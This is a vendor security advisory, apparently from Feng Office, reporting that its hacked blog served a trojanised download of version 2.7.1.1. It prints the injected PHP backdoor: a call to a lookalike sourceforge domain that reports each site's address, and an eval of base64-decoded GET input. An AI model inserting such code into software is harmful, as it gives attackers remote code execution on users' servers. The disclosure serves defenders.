A few weeks ago our blog was hacked with one concrete purpose: to modify the download link for what was the latest released version.
This resulted in some users downloading an infected copy of Feng Office version 2.7.1.1
Affected installations
The link modified the download destination and inserted a local file to download an infected version 2.7.1.1 of the Community Edition.
Installations running a different version, or a 2.7.1.1 downloaded from Sourceforge are not affected.
Recommended Measures
The most effective way to be 100% sure is to download and update to the latest version.
The attack
The infected version was uploaded, and a fake download link was put on our website, making use of an exploit on our blog engine (WordPress).
We have since removed all infected files from our website, and resolved the Apache settings allowing the security exploit.
The infection was introduced on the files “init.php” “environment/environment.php”, on line 22. The infected code looks like this:
In init.php:
file_get_contents('http://sourceforge.net/raport.php?site='.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
if(!empty($_GET['lal']))eval(base64_decode($_GET['lal']));
In environment.php:
if(!ini_get('session.auto_start') || (strtolower(ini_get('session.auto_start')) == 'off')) {
if ( !isset($_GET['avoid_session']) || (isset($_GET['avoid_session']) && !$_GET['avoid_session']) ){
session_start(); // Start the session
}
}
file_get_contents('http://sourrceforge.net/raport.php?site='.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
include_once ENVIRONMENT_PATH . '/classes/Env.class.php';
...
if(!empty($_GET['lal']))eval(base64_decode($_GET['lal']));
We would like to thank the two users who detected the issue and reported it to our team.
We should have been quicker to process the reports and to issue this post. Please accept our apologies for not being faster to publish this information; specially if your installation was affected.
Hopefully we will handle it better if a similar attack happens again.
Also, if you download the Community Edition, please make sure to download through Sourceforge, which still is our official channel for distributing the Community Edition.
